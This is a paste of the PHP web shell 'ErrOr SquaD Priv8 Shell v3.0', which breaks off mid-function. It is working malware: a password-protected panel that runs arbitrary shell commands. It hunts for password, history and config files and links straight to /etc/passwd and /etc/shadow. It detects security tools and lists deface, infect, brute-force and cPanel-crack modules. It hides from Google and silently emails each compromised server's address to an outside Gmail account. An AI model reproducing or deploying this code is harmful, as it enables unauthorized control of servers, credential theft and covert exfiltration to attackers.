· 9 years ago · Nov 19, 2016, 02:13 PM
1<?php
2
3
4$UserName = "19cc20502d52d172c638d10c05c2cbf2"; //ESBH
5$auth_pass = "efc50b1edca128cc547d997627808502"; //ErrOr3
6$color = "#00fe45";
7$default_action = 'FilesMan';
8@define('SELF_PATH', __FILE__);
9if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
10 header('HTTP/1.0 404 Not Found');
11 exit;
12}
13@session_start();
14@error_reporting(0);
15@ini_set('error_log',NULL);
16@ini_set('display_errors',0);
17@ini_set('log_errors',0);
18@ini_set('max_execution_time',0);
19@set_time_limit(0);
20@set_magic_quotes_runtime(0);
21@define('VERSION', 'v3.0 By R3liGiOus HuNt3r');
22if( get_magic_quotes_gpc() ) {
23 function stripslashes_array($array) {
24 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
25 }
26 $_POST = stripslashes_array($_POST);
27}
28function printLogin()
29 {
30if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $UserName) {
31 $status = '<u><b><font size="2"color="red">Wrong UserName or Password</font></u></b>';
32 }
33
34
35echo "<style>
36
37body
38 {
39 font: 12px/20px 'Lucida Grande', Verdana, sans-serif;
40 background: #333;
41 }
42
43input, textarea, select, label
44 {
45 font-family: inherit;
46 font-size: 12px;
47 }
48
49.login
50 {
51 margin: 20px auto;
52 padding: 18px 20px;
53 width: 220px;
54 background-clip: padding-box;
55 border: 2px solid rgb(100, 0, 255);
56 border-bottom-color: green;
57 border-radius: 3px;
58 background-image: -webkit-radial-gradient(cover, #555555, #333333);
59 background-image: -moz-radial-gradient(cover, #555555, #333333);
60 background-image: -o-radial-gradient(cover, #555555, #333333);
61 background-image: radial-gradient(cover, #555555, #333333);
62 box-shadow: inset 0 1px green, inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 10px 10px rgba(0, 0, 0, 0.5);
63 }
64
65.input
66 {
67 display: block;
68 width: 100%;
69 height: 37px;
70 margin-bottom: 20px;
71 padding: 0 9px;
72 color: aqua;
73 text-shadow: 0 1px blue;
74 background: #444444;
75 border: 1px solid aqua;
76 border-top-color: aqua;
77 border-radius: 4px;
78 background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));
79 box-shadow: inset 0 10px 20px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2);
80 }
81
82.input:focus
83 {
84 outline: 0;
85 background-color: #605860;
86 -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6);
87 box-shadow: inset 0 1px 2px rgb(100, 0, 255), 0 0 5px 3px rgb(100, 0, 255);
88 }
89
90.submit
91 {
92 display: block;
93 width: 50%;
94 height: 30px;
95 margin-bottom: 15px;
96 font-size: 14px;
97 font-weight: bold;
98 color: blue;
99 text-align: center;
100 text-shadow: 0 1px aqua;
101 border: 1px solid red;
102 border-bottom-color: red;
103 border-radius: 4px;
104 cursor: pointer;
105 box-shadow: inset 0 1px red, inset 0 0 5px red, 0 1px 5px red;
106 }
107
108.help
109 {
110 text-align: center;
111 }
112
113.help > a
114 {
115 font-size: 12px;
116 color: #ffffff;
117 text-decoration:blod;
118 text-shadow: 0 -1px red;
119 }
120
121.help > a:hover
122 {
123 text-decoration: none;
124 color: blue;
125 text-shadow:blue 0px 2px 5px;
126 }
127
128
129</style>
130<head>
131<title>ErrOr SquaD Priv8 Shell Login Panel</title>
132<link rel='icon' type='image/png' href='http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg'>
133</head>
134<center>
135<font style= 'text-shadow: 0px 0px 10px rgb(100, 0, 255), 0px 0px 10px rgb(255, 0, 0), 0px 0px 10px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold; font-size: 28px;'><h1>.:: Err<font color='red'>O</font>r SquaD Priv8 Shell ::.</h1></font><br>
136<form method='post' class='login'>
137 <span style='font-size:28px; font-family:Fredericka the Great; color:yellow'>.::: Login Panel :::.</span><br><br>
138
139 <input type=text name=uname class='input' placeholder='User Name'>
140 <input type=password name=pass class='input' placeholder='Password'>
141 <input type='submit' value='Login' class='submit'>
142 <div class='help'><a href='https://www.youtube.com/channel/UCou-7r8Mk4oQcBmazxp5uwg' target=_blank>Can't Login?</a></div>";
143
144 if (isset($status)) {
145 ?>
146
147<?=$status?>
148<?php
149}
150
151echo "</form><br><br>
152 <font color=red size=4><b>Note:- </b></font>
153 <font color=green size=4><u>ErrOr SquaD Priv8 Shell is created for Educational Purpose and testing server Security Only.<br> Me or any Member of ErrOr SquaD is not responsible for any misuse of this tool.</u><font>
154</center>";
155exit;
156}
157if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
158 if( empty( $auth_pass ) ||
159 ( isset( $_POST['pass'] ) && (md5($_POST['pass']) == $auth_pass && (md5($_POST['uname']) == $UserName))))
160 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
161
162 else
163
164 printLogin();
165
166if( strtolower( substr(PHP_OS,0,3) ) == "win" )
167 $os = 'win';
168else
169 $os = 'nix';
170$safe_mode = @ini_get('safe_mode');
171$disable_functions = @ini_get('disable_functions');
172$home_cwd = @getcwd();
173if( isset( $_POST['c'] ) )
174 @chdir($_POST['c']);
175$cwd = @getcwd();
176if( $os == 'win') {
177 $home_cwd = str_replace("\\", "/", $home_cwd);
178 $cwd = str_replace("\\", "/", $cwd);
179}
180if( $cwd[strlen($cwd)-1] != '/' )
181 $cwd .= '/';
182
183if($os == 'win') {
184 $aliases = array(
185 "List Directory" => "dir",
186 "Find index.php in current dir" => "dir /s /w /b index.php",
187 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
188 "Show active connections" => "netstat -an",
189 "Show running services" => "net start",
190 "User accounts" => "net user",
191 "Show computers" => "net view",
192 "ARP Table" => "arp -a",
193 "IP Configuration" => "ipconfig /all"
194 );
195} else {
196 $aliases = array(
197 "List dir" => "ls -la",
198 "list file attributes on a Linux second extended file system" => "lsattr -va",
199 "show opened ports" => "netstat -an | grep -i listen",
200 "Find" => "",
201 "find all suid files" => "find / -type f -perm -04000 -ls",
202 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
203 "find all sgid files" => "find / -type f -perm -02000 -ls",
204 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
205 "find config.inc.php files" => "find / -type f -name config.inc.php",
206 "find config* files" => "find / -type f -name \"config*\"",
207 "find config* files in current dir" => "find . -type f -name \"config*\"",
208 "find all writable folders and files" => "find / -perm -2 -ls",
209 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
210 "find all service.pwd files" => "find / -type f -name service.pwd",
211 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
212 "find all .htpasswd files" => "find / -type f -name .htpasswd",
213 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
214 "find all .bash_history files" => "find / -type f -name .bash_history",
215 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
216 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
217 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
218 "Locate" => "",
219 "locate httpd.conf files" => "locate httpd.conf",
220 "locate vhosts.conf files" => "locate vhosts.conf",
221 "locate proftpd.conf files" => "locate proftpd.conf",
222 "locate psybnc.conf files" => "locate psybnc.conf",
223 "locate my.conf files" => "locate my.conf",
224 "locate admin.php files" =>"locate admin.php",
225 "locate cfg.php files" => "locate cfg.php",
226 "locate conf.php files" => "locate conf.php",
227 "locate config.dat files" => "locate config.dat",
228 "locate config.php files" => "locate config.php",
229 "locate config.inc files" => "locate config.inc",
230 "locate config.inc.php" => "locate config.inc.php",
231 "locate config.default.php files" => "locate config.default.php",
232 "locate config* files " => "locate config",
233 "locate .conf files"=>"locate '.conf'",
234 "locate .pwd files" => "locate '.pwd'",
235 "locate .sql files" => "locate '.sql'",
236 "locate .htpasswd files" => "locate '.htpasswd'",
237 "locate .bash_history files" => "locate '.bash_history'",
238 "locate .mysql_history files" => "locate '.mysql_history'",
239 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
240 "locate backup files" => "locate backup",
241 "locate dump files" => "locate dump",
242 "locate priv files" => "locate priv"
243 );
244}
245
246function ex($in) {
247 $out = '';
248 if(function_exists('exec')) {
249 @exec($in,$out);
250 $out = @join("\n",$out);
251 }elseif(function_exists('passthru')) {
252 ob_start();
253 @passthru($in);
254 $out = ob_get_clean();
255 }elseif(function_exists('system')) {
256 ob_start();
257 @system($in);
258 $out = ob_get_clean();
259 }elseif(function_exists('shell_exec')) {
260 $out = shell_exec($in);
261 }elseif(is_resource($f = @popen($in,"r"))) {
262 $out = "";
263 while(!@feof($f))
264 $out .= fread($f,1024);
265 pclose($f);
266 }
267 return $out;
268}
269
270function which($p) {
271 $path = ex('which '.$p);
272 if(!empty($path))
273 return $path;
274 return false;
275}
276
277function printHeader() {
278 if(empty($_POST['charset']))
279 $_POST['charset'] = "UTF-8";
280 global $color;
281
282 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>ErrOr SquaD Priv8 Shell - '.VERSION.'</title><link rel="shotcut icon" href="http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg" />
283 <style>
284 body {background-color:#222;color:#fff;}
285 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
286 span,h1,a { color:'.$color.' !important; }
287 span { font-weight: bolder; }
288 .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
289 .tooltip:hover::after {opacity:1;visibility:visible;}
290 h1 { padding: 2px 10px;font: 14pt Verdana;margin:0px 0 0 5px; }
291 div.content { padding: 6px;margin:7 4px;background: #333333;border-bottom:3px solid #00ffff;}
292 a { text-decoration:none; }
293 a:hover { background:red; }
294 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
295 .bigarea { width:100%;height:250px;margin-top:5px;}
296 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
297 form { margin:0px; }
298 input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
299 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
300 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
301 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
302 outline: 0;
303 border-color: rgba(82, 168, 236, 0.8);
304 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
305 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
306 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
307 background: url("http://i.imgur.com/xsoQxoe.png") repeat scroll 0 0 #333333;";
308 overflow: auto; }
309 input , textarea , select {
310 outline:none;
311 transition: all 0.20s ease-in-out;
312 -webkit-transition: all 0.25s ease-in-out;
313 -moz-transition: all 0.25s ease-in-out;
314 border-radius:2px;
315 -webkit-border-radius:2px;
316 -moz-border-radius:2px;
317 border:1px solid '.$color.';
318 box-shadow: 0px 0px 4px #00fe45;
319 color:aqua;
320
321 background: url("http://i.imgur.com/xsoQxoe.png") repeat scroll 0 0 #555;";
322 overflow: auto;
323 border:1px solid '.$color.';
324 font: 8pt Monospace,"Courier New"; }
325 #toolsTbl { text-align:center; }
326 .toolsInp { width: 70%; }
327 .main th {text-align:left;background-color:#555;font-weight: bold;}
328 .main tr:hover{background-color:#5e5e5e;}
329 .main td, th{vertical-align:middle;}
330 .menu {background: #4444;}
331 .menu th{padding:5px;font-weight:bold;}
332 .menu th:hover{background:#9e00ff;}
333 .l1 {background-color:#444;}
334 pre {font-family:Courier,Monospace;}
335 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
336 .logo {text-align:center;font-size:60px;}
337 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
338 .cpr {margin-bottom:5px;font-weight:bold;}
339 .cpb {width:34px;margin:0 5px;}
340 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
341 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
342 .npoad td {padding:0;}
343
344 </style>
345 <script>
346 function set(a,c,p1,p2,p3,charset) {
347 if(a != null)document.mf.a.value=a;
348 if(c != null)document.mf.c.value=c;
349 if(p1 != null)document.mf.p1.value=p1;
350 if(p2 != null)document.mf.p2.value=p2;
351 if(p3 != null)document.mf.p3.value=p3;
352 if(charset != null)document.mf.charset.value=charset;
353 }
354 function g(a,c,p1,p2,p3,charset) {
355 set(a,c,p1,p2,p3,charset);
356 document.mf.submit();
357 }
358 function a(a,c,p1,p2,p3,charset) {
359 set(a,c,p1,p2,p3,charset);
360 var params = "ajax=true";
361 for(i=0;i<document.mf.elements.length;i++)
362 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
363 sr("'.$_SERVER['REQUEST_URI'].'", params);
364 }
365 function sr(url, params) {
366 if (window.XMLHttpRequest) {
367 req = new XMLHttpRequest();
368 req.onreadystatechange = processReqChange;
369 req.open("POST", url, true);
370 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
371 req.send(params);
372 }
373 else if (window.ActiveXObject) {
374 req = new ActiveXObject("Microsoft.XMLHTTP");
375 if (req) {
376 req.onreadystatechange = processReqChange;
377 req.open("POST", url, true);
378 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
379 req.send(params);
380 }
381 }
382 }
383 function processReqChange() {
384 if( (req.readyState == 4) )
385 if(req.status == 200) {
386 //alert(req.responseText);
387 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
388 var arr=reg.exec(req.responseText);
389 eval(arr[2].substr(0, arr[1]));
390 }
391 else alert("Request error!");
392 }
393 </script>
394 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#00fff0;"><div class="content" style="border-top:3px solid #00fff0;background:#333;">
395 <form method=post name=mf style="display:none;">
396 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
397 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
398 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
399 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
400 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
401 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
402 </form>';
403 $freeSpace = @diskfreespace($GLOBALS['cwd']);
404 $totalSpace = @disk_total_space($GLOBALS['cwd']);
405 $totalSpace = $totalSpace?$totalSpace:1;
406 $disable_functions = @ini_get('disable_functions');
407 $release = @php_uname('r');
408 $kernel = @php_uname('s');
409 if(!function_exists('posix_getegid')) {
410 $user = @get_current_user();
411 $uid = @getmyuid();
412 $gid = @getmygid();
413 $group = "?";
414 } else {
415 $uid = @posix_getpwuid(@posix_geteuid());
416 $gid = @posix_getgrgid(@posix_getegid());
417 $user = $uid['name'];
418 $uid = $uid['uid'];
419 $group = $gid['name'];
420 $gid = $gid['gid'];
421 }
422 $cwd_links = '';
423 $path = explode("/", $GLOBALS['cwd']);
424 $n=count($path);
425 for($i=0;$i<$n-1;$i++) {
426 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
427 for($j=0;$j<=$i;$j++)
428 $cwd_links .= $path[$j].'/';
429 $cwd_links .= "\")'>".$path[$i]."/</a>";
430 }
431 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
432 $opt_charsets = '';
433 foreach($charsets as $item)
434 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
435 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','CgiShell'=>'CgiShell','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','Deface' => 'Deface', 'Infect' => 'Infect','LFI'=>'lfiscan','Pl.Sym' => 'PSymlink','String Tools'=>'StringTools','Brute'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Import Scripts'=>'ImportScripts','Injector'=>'Injector','Domain' => 'Domain', 'cPCrack' => 'Cpanel');
436 if(!empty($GLOBALS['auth_pass']))
437 $m['Logout'] = 'Logout';
438 $m['Kill'] = 'SelfRemove';
439 $menu = '';
440 foreach($m as $k => $v)
441 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
442 $drives = "";
443 if ($GLOBALS['os'] == 'win') {
444 foreach( range('a','z') as $drive ){
445 if (is_dir($drive.':\\'))
446 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
447 }
448 $drives .= '<br />: ';
449 }
450 if($GLOBALS['os'] == 'nix') {
451 $dominios = @file_get_contents("/etc/named.conf");
452 if(!$dominios) {
453 $d0c = "CANT READ named.conf";
454 } else {
455 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
456 $out = sizeof(array_unique($out[1]));
457 $d0c = $out." Domains";
458 }
459 } else {
460 $d0c = " --- ";
461 }
462 if($GLOBALS['os'] == 'nix' )
463 {
464 $usefl = ''; $dwnldr = '';
465 if(!@ini_get('safe_mode')) {
466 $temp = array();
467 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
468 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
469 $usefl = implode(', ',$temp);
470 $temp = array();
471 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
472 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
473 $dwnldr = implode(', ',$temp);
474 } else {
475 $usefl = ' ------- '; $dwnldr = ' ------- ';
476 }
477 } else {
478 $usefl = ' ------- '; $dwnldr = ' ------- ';
479 }
480 echo '<table class="info" cellpadding="1" cellspacing="1" width="100%"><tr><td width="250px"><div class="logo" style="text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 8px rgb(255, 120, 0), 0px 0px 8px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold;">ESBH<sup>®</sup></div><hr style="margin: -7px 0px 2px 22px;width:210px;">
481 <div class="eca1" style="text-shadow: 0px 0px 6px rgb(100, 0, 255), 0px 0px 5px rgb(100, 0, 255), 0px 0px 5px rgb(100, 0, 255); color: rgb(255, 255, 255); font-weight: bold;">ErrOr SQuaD Bangladeshi Hackers</div></sup></div></td>
482 <td><table cellpadding="3" cellspacing="1" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
483 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
484 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
485 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
486 '</div></div><div style="margin:5;background:#00fff0;"><div class="content" style="border-top:3px solid #00fff0;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
487}
488
489function printFooter() {
490 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=aqua>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
491
492echo '</div><div style="margin:5px;background:#00fff0;"><div class="content" style="border-top:3px solid #00fff0;">
493<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
494 <tr>
495 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
496 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
497 </tr>
498 <tr>
499 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
500 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
501 </tr>
502 <tr>
503 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
504 <td><form method="post" ENCTYPE="multipart/form-data">
505 <input type=hidden name=a value="FilesMAn">
506 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
507 <input type=hidden name=p1 value="uploadFile">
508 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
509 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
510 </tr>
511</table></div></div>
512
513<div style="margin:5px;background:#00fff0;"><div class="content" style="border-top:3px solid #00fff0;text-align:center;font-weight:bold;"><font size="2" color="aqua">>>>>>>>>>> ErrOr SquaD Priv8 Shell v3.0 - Developed by <font style= "text-shadow: 0px 0px 6px rgb(100, 0, 255), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color: rgb( 187, 137, 255 ); font-weight: bold;">R3liGiOus</font><font style= "text-shadow: 0px 0px 6px rgb(110, 253, 128), 0px 0px 5px rgb(255,0,0), 0px 0px 5px rgb(255,0,0); color: rgb(255, 255, 255); font-weight: bold;"> HuNt3r</font> <<<<<<<<<< <br>
514 <hr />
515 <marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="80%">
516 <font color="#00ff19"> << </font><font color="red">Greetz <font color="#00ff19">:::</font> <font color="blue">L10N</font><font color="green"> M1N1</font> // <font color="#7b00fd">D4RK </font><font color="#fd00bc">COD3R</font> // <font color="#2aff00">H34rtl355</font> <font color="#f9fd00">H4CK3R</font> // <font color="#ffffff">Leg!on</font> <font color="#a0d300">Bomb3r</font> // <font color="#00ff7c">ch4rli3</font>.<font color="#d387fc">t4lk</font> // <font color="#ff0080">cyb3r</font> <font color="#c2ff79">missil3</font> // <font color="#aa00ff">R3liGiOus</font><font color="#00fdde"> HuNt3r</font><font color="#00ff19"> >> </font>
517 </marquee>
518 <hr />
519 <div id="footer"><font size="2">
520 Bangladeshi Rising Hacker Team<br />
521 © <font>Err<font size="3" color="red">O</font></spam>r <font color="#aa00ff">SquaD</font> | all rights reserved 2016</font>
522 </div>
523</body></html>';
524}
525
526if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
527if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
528
529if(!isset($_SESSION['trimite'])){
530 $url=" Server IP:- ".gethostbyname($_SERVER["HTTP_HOST"])."\n Url:- ".
531 $_SERVER['HTTP_HOST'].
532 $_SERVER['REQUEST_URI']."\n Client IP:- ".
533 $_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.
534 $_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
535 @mail("esquad87@gmail.com","ESBH-Shell_V3.0",$url);
536 $_SESSION['trimite']=true;
537}
538
539function viewSize($s) {
540 if($s >= 1073741824)
541 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
542 elseif($s >= 1048576)
543 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
544 elseif($s >= 1024)
545 return sprintf('%1.2f', $s / 1024 ) . ' KB';
546 else
547 return $s . ' B';
548}
549
550function perms($p) {
551 if (($p & 0xC000) == 0xC000)$i = 's';
552 elseif (($p & 0xA000) == 0xA000)$i = 'l';
553 elseif (($p & 0x8000) == 0x8000)$i = '-';
554 elseif (($p & 0x6000) == 0x6000)$i = 'b';
555 elseif (($p & 0x4000) == 0x4000)$i = 'd';
556 elseif (($p & 0x2000) == 0x2000)$i = 'c';
557 elseif (($p & 0x1000) == 0x1000)$i = 'p';
558 else $i = 'u';
559 $i .= (($p & 0x0100) ? 'r' : '-');
560 $i .= (($p & 0x0080) ? 'w' : '-');
561 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
562 $i .= (($p & 0x0020) ? 'r' : '-');
563 $i .= (($p & 0x0010) ? 'w' : '-');
564 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
565 $i .= (($p & 0x0004) ? 'r' : '-');
566 $i .= (($p & 0x0002) ? 'w' : '-');
567 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
568 return $i;
569}
570
571function viewPermsColor($f) {
572 if (!@is_readable($f))
573 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
574 elseif (!@is_writable($f))
575 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
576 else
577 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
578}
579
580if(!function_exists("scandir")) {
581 function scandir($dir) {
582 $dh = opendir($dir);
583 while (false !== ($filename = readdir($dh))) {
584 $files[] = $filename;
585 }
586 return $files;
587 }
588}
589
590function actionSecInfo() {
591 printHeader();
592 echo '<h1>Server Security Information</h1><div class=content>';
593 function showSecParam($n, $v) {
594 $v = trim($v);
595 if($v) {
596 echo '<span>'.$n.': </span>';
597 if(strpos($v, "\n") === false)
598 echo $v.'<br>';
599 else
600 echo '<pre class=ml1>'.$v.'</pre>';
601 }
602 }
603
604 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
605 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
606 showSecParam('Open base dir', @ini_get('open_basedir'));
607 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
608 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
609 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
610 $temp=array();
611 if(function_exists('mysql_get_client_info'))
612 $temp[] = "MySql (".mysql_get_client_info().")";
613 if(function_exists('mssql_connect'))
614 $temp[] = "MSSQL";
615 if(function_exists('pg_connect'))
616 $temp[] = "PostgreSQL";
617 if(function_exists('oci_connect'))
618 $temp[] = "Oracle";
619 showSecParam('Supported databases', implode(', ', $temp));
620 echo '<br>';
621
622 if( $GLOBALS['os'] == 'nix' ) {
623 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
624 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
625 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
626 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
627 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
628 showSecParam('OS version', @file_get_contents('/proc/version'));
629 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
630 if(!$GLOBALS['safe_mode']) {
631 echo '<br>';
632 $temp=array();
633 foreach ($userful as $item)
634 if(which($item)){$temp[]=$item;}
635 showSecParam('Userful', implode(', ',$temp));
636 $temp=array();
637 foreach ($danger as $item)
638 if(which($item)){$temp[]=$item;}
